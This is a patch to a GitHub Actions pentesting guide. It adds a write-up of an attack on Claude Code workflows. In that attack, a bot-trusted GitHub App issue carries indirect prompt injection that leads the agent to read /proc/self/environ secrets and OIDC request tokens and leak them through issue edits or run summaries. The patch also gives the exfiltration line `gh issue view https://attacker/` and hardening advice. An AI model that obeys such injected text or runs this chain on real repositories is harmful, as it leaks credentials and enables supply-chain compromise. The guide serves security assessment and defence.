From 667a8b921ef0dd5e8af7034b2bc9ab58f7c02a9d Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 2 Jun 2026 10:37:40 +0000 Subject: [PATCH] Add content from: Poisoning Claude Code: One GitHub Issue to Break the Supply ... --- .../abusing-github-actions/README.md | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index f72aa1f76..fdfbb6a6a 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -797,6 +797,33 @@ The agent will faithfully call `gh issue edit`, leaking both environment variabl Even if developers avoid inserting `${{ github.event.* }}` fields into the initial prompt, an agent that can call `gh issue view`, `gh pr view`, `run_shell_command(gh issue comment)`, or MCP endpoints will eventually fetch attacker-controlled text. Payloads can therefore sit in issues, PR descriptions, or comments until the AI agent reads them mid-run, at which point the malicious instructions control subsequent tool choices. +#### Claude Code GitHub App trust bypass, OIDC replay, and workflow chaining + +Some **Claude Code agent-mode** workflows previously trusted any actor whose username ended in **`[bot]`**. On **public repositories**, this is unsafe: a malicious **GitHub App** installed only on an attacker-controlled repository can still use its installation token to **open issues or PRs in the victim public repo**. If the workflow treats every `*[bot]` actor as trusted, attacker-controlled issue/PR text reaches the model as if it came from a trusted automation actor. + +**Practical chain:** + +1. The attacker creates a GitHub App and uses its installation token to open an issue/PR in the victim public repository. +2. The Claude workflow starts in **`agent`** mode and fetches the attacker-controlled content later via **MCP** (`mcp__github__get_issue`, comments, PR data) or helpers such as `gh issue view`. +3. The issue body contains **indirect prompt injection** disguised as recovery steps or tool-error handling. +4. The agent reads **environment-backed secrets** (for example from `/proc/self/environ` or equivalent process/env sources) and writes them back through **`mcp__github__update_issue`**, comments, logs, or the **workflow run summary**. +5. If the job also has **`id-token: write`**, stealing **`ACTIONS_ID_TOKEN_REQUEST_URL`** plus **`ACTIONS_ID_TOKEN_REQUEST_TOKEN`** is enough to mint a GitHub OIDC token and exchange it with the vendor backend for a **privileged installation token**, turning prompt injection into **repository or supply-chain compromise**. + +**Why low-privilege triage workflows still matter:** + +- **`allowed_non_write_users: "*"` + `issues: write`** is already dangerous. The model can edit/delete issues, leak secrets into issue bodies, or expose them through the workflow summary even if the workflow has no general outbound network primitive. +- A low-privilege issue-triage workflow can become a **staging step** for a second trusted workflow. Example: steal or abuse an **`issues: write`** token first, then **edit** an issue/comment/PR **after** a maintainer triggers a trusted `@claude` workflow but **before** the agent fetches the content. The second workflow validates the original trusted actor, but later consumes attacker-modified text under a stronger context such as **`id-token: write`**. +- Even apparently read-only helpers can exfiltrate data if they accept URLs or free-form arguments. Example: `gh issue view https://attacker/` can turn the CLI itself into the exfiltration channel unless wrapped with strict argument validation. + +**Hardening ideas for assessments and reviews:** + +- Upgrade **Claude Code Action to `v1.0.94` or later**. +- Never trust `github.actor` suffixes such as **`[bot]`** as a permission boundary; verify the actor is expected/human or that the App installation is explicitly trusted. +- Avoid **`allowed_non_write_users`**, especially **`"*"`**, when secrets, MCP write tools, `gh`, or **`id-token: write`** are present. +- Treat **issues, PRs, comments, reviews, and tool-fetched metadata as hostile** even if they are not interpolated into the initial prompt. +- Review or disable **workflow summaries**, strip secrets from child-process environments, and ignore issue/comment edits made **after** the trusted trigger time. +- Wrap helpers such as **`gh issue view`** so they only accept the exact expected argument shape (for example, a single numeric issue ID). + #### Claude Code Action TOCTOU prompt injection → RCE - Context: **Claude Code Action** injects PR metadata (such as the title) into the model prompt. Maintainers gate execution by commenter write-permission, but the model fetches PR fields _after_ the trigger comment is posted. @@ -925,6 +952,7 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) - [PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents) - [Trusting Claude With a Knife: Unauthorized Prompt Injection to RCE in Anthropic’s Claude Code Action](https://johnstawinski.com/2026/02/05/trusting-claude-with-a-knife-unauthorized-prompt-injection-to-rce-in-anthropics-claude-code-action/) +- [Poisoning Claude Code: One GitHub Issue to Break the Supply Chain](https://flatt.tech/research/posts/poisoning-claude-code-one-github-issue-to-break-the-supply-chain/) - [OpenGrep PromptPwnd detection rules](https://github.com/AikidoSec/opengrep-rules) - [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases) - [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)